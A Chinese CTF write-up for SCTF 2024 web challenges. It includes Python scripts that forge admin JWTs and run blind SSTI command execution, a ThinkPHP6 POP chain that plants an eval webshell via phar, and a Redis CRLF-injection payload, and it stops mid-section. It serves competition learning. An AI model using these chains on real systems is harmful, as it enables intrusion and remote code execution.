CHHHCHHOH 's BLOG

SCTF 2024

ezRender

因为没有关闭句柄,打开句柄有上限,所以注册超过2048个用户,打开超过2048次/dev/random就无法再打开文件了。后面的key就是时间戳了,直接写脚本爆破伪造cookie。用fenjing绕过黑名单ssti,rce爆破flag

import requests
import jwt
import time
import base64
import json
from datetime import datetime, timezone

#### 消耗句柄,注册admin用户,移除用户
url = "http://1.95.82.67:34946"
num = 2050
class User():
    def __init__(self,name,password):
        self.name=name
        self.pwd = password
        self.Registertime=str(int(datetime.now(timezone.utc).timestamp()))
        self.handle=None

        self.secret=self.setSecret()

    def handler(self):
        self.handle = open("/dev/random", "rb")
    def setSecret(self):
        secret = self.Registertime
        try:
            if self.handle == None:
                self.handler()
            secret += str(self.handle.read(22).hex())
        except Exception as e:
            print("this file is not exist or be removed")
        return secret



for i in range(num):
    requests.post(f"{url}/register", json={"username":f"{i}","password":f"{i}"})
def generateToken(user):
    secret_key=user.secret
    secret={"name":user.name,"is_admin":"1"}

    verify_c = jwt.encode(secret, secret_key, algorithm='HS256')
    infor={"name":user.name,"secret":verify_c}
    token=base64.b64encode(json.dumps(infor).encode()).decode()
    return token


admin = User("admin","admin")
requests.post(f"{url}/register", json={"username":"admin","password":"admin"})
admin.secret = str(int(datetime.now(timezone.utc).timestamp())-1) #容易有1秒的误差
print(admin.secret)
adminToken = generateToken(admin)
print(adminToken)
reponse = requests.post(f"{url}/admin",data={"code":"aa"},cookies={"Token":adminToken})
print(reponse.text)

#### adminToken = "eyJuYW1lIjogImFkbWluIiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pWVdSdGFXNGlMQ0pwYzE5aFpHMXBiaUk2SWpFaWZRLlVrZ3NuOUc0N1VWTFZpSHZYNkJQQ0FVNEVEcl84UElOSGEtWHRRNWdwRmMifQ=="
for i in range(num):
    requests.post(f"{url}/removeUser", data={"username": f"{i}"}, cookies={"Token":adminToken})

requests.post(f"{url}/admin",data={"code":"aa"},cookies={"Token":adminToken})

#### 生成ssti payload

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = [
        "\\",
          "{%",
          "config",
          "session",
          "request",
          "self",
          "url_for",
          "current_app",
          "get_flashed_messages",
          "lipsum",
          "cycler",
          "joiner",
          "namespace",
          "chr",
          "request.",
          "|",
          "%c",
          "eval",
          "[",
          "]",
          "exec",
          "pop(",
          "get(",
          "setdefault",
          "getattr",
          ":",
          "os",
          "app",
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "touch$IFSstatic/1.css")
    # config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    # print(f"{config_payload=}")
    
    
    
#### 爆破flag
adminToken = "eyJuYW1lIjogImFkbWluIiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pWVdSdGFXNGlMQ0pwYzE5aFpHMXBiaUk2SWpFaWZRLlVrZ3NuOUc0N1VWTFZpSHZYNkJQQ0FVNEVEcl84UElOSGEtWHRRNWdwRmMifQ=="
f = 'SCTF{'
def get_flag(url, cmd):  # 盲注函数
    try:
        base64_cmd = base64.b64encode(cmd.encode()).decode()
        # print(base64_cmd)
        payload = "{{g.pop.__globals__.__builtins__.__import__('OS'.lower()).popen(g.pop.__globals__.__builtins__.__import__('base64').b64decode('"+base64_cmd+"').decode()).read()}}"
        # print(payload)
        r = requests.post(f"{url}/admin", data={"code":payload}, cookies={"Token": adminToken},timeout=1.5)
        # print(r.text)
    except:
        return True
    return False

a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?{\} _-!@#$%^&*()_+[]"
# a = 'sS'
for i in range(1,50):
    for j in a:
        cmd=f'cat /tmp/flag|grep ^{f+j}&&sleep 2'
        if(get_flag(url,cmd)):
            print(cmd)
            f = f + j
            break
    # print(f)

Simpleshop

根据题目提示说是前台的洞,所以找未授权的接口


这里有个获取图片的base64,调用了image_to_base64,这个函数会调用curl

发现原来网上有cve,还审个毛线呢?

可以ssrf


如果满足这个判断条件就可以读本地文件


然后我们尝试../来路径穿越,但是这里有waf,不过只进行了一次替换

直接用其他过滤的字符来双写绕过

本地是可以读的

远程也是可以读的,但是只能读到/var/www下的文件,怀疑是权限问题

看了其他师傅的wp,说是通过put_image这个函数来触发phar

但是调用put_image要满足条件,前面的image_to_base64要返回false,而如果是远程文件,这里只要返回的状态码不是200就可以返回false

直接改201状态码

但是readfile还是可以正常读取远程文件的内容

这里有个恶心的地方,就是path是uploads/qrcode,但实际是statics/uploads/qrcode

相当于我们只能用到readfile,后面无法写入,所以我们要另外找个上传文件的地方,但是前台是没有上传文件的地方,一定要登录,但是靶机没有发验证码的功能,所以自带的注册不了。看了wp发现原来robots.txt给了个注册的路由(应该是为了出题自己写的)。比赛的时候根本不知道,ε=(´ο`*)))唉。

能上传图片文件

上传有限制

为了利用phar反序列化,本地写个反序列化路由测试

找个Thinkphp6的pop链,这里用的是Cells.php来调用Channel的__call

<?php

namespace PhpOffice\PhpSpreadsheet\Collection{
    class Cells{
        public function __construct($cache)
        {
            $this->cache = $cache;
        }
//        public function __destruct()
//        {
//            $this->cache->deleteMultiple($this->getAllCacheKeys());
//        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php eval($_POST[1]);exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => [],
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);

//    echo base64_encode(serialize($a));
}

成功执行,说明链子可行


然后生成一个phar,然后gzip压缩绕过文件内容的检测

    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);
    $phar = new Phar("6.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.jpg", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();

成功执行,但是路径太长会出错

ezjump

nextjs 14.1.0有CVE-2024-34351,可以ssrf,出题人应该就是从这里得到的灵感


根据文章复现

成功收到请求,不过都是head

打302跳转,这里直接修改返回包

成功收到请求

后面就是python的backend

import os
import subprocess
import urllib.request

from flask import Flask, request, session, render_template

from Utils.utils import *

app = Flask(__name__)
app.secret_key = os.urandom(32)

@app.route('/', methods=['GET'])
def hello():
    return "Welcome to SCTF 2024! Have a Good Time!"


@app.route('/login', methods=['GET'])
def login():
    username = request.args.get("username")
    password = request.args.get("password")
    user =get_user(username)
    if user:
            if password == user['password']:
                if user['role']=="admin":
                    cmd=request.args.get("cmd")
                    if not cmd:
                        return "No command provided", 400
                    if waf(cmd):
                        return "nonono"
                    try:
                        result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
                        return result.stdout
                    except Exception as e:
                        return f"Error: {str(e)}", 500
                else:
                    session['username'] = username
                    session['role'] = user['role']
                return render_template('index.html', username=session['username'], role=session['role'])
            else:
                session['username'] = 'guest'
                session['role'] = 'noBody'
                return render_template('index.html', username=session['username'], role=session['role'])
    else:
            add_user(username, password, 'n0B0dy')
            user = get_user(username)
            if user:
                session['username'] = username
                session['role'] = 'noBody'
            else:
                session['username'] = 'guest'
                session['role'] = 'noBody'
            return render_template('index.html', username=session['username'], role=session['role'])
    return "Please give me username and password!"




if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

很明显,要伪造为admin,这里的用户信息都是存储在redis里,然后用waf对要发给redis的命令进行了替换,这里很容易想到php反序列化的替换把payload挤出来,每次都溢出一个字母


稍微调一下

?username=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0d%0a$52%0d%0aeyJwYXNzd29yZCI6ICJhYWFhIiwgInJvbGUiOiAiYWRtaW4ifQ==&password=aaaa

成功替换


把原来的value挤出来,换成我们的value在第三个

set语句返回OK,最后的$52报错

成功注册

后面就是用curl来打redis
其他师傅用大小写绕过gopher,我则是用dict
有一个点是要设置slave-read-only为no,不然主从之后就无法注册登录了,其他就是经典的主从命令了。

SycServer 2.0

前面的弱密码的登录,这里不太好搭就算了。我们来看一下最核心的原型链污染,下面的路由很明显可以污染

添加新评论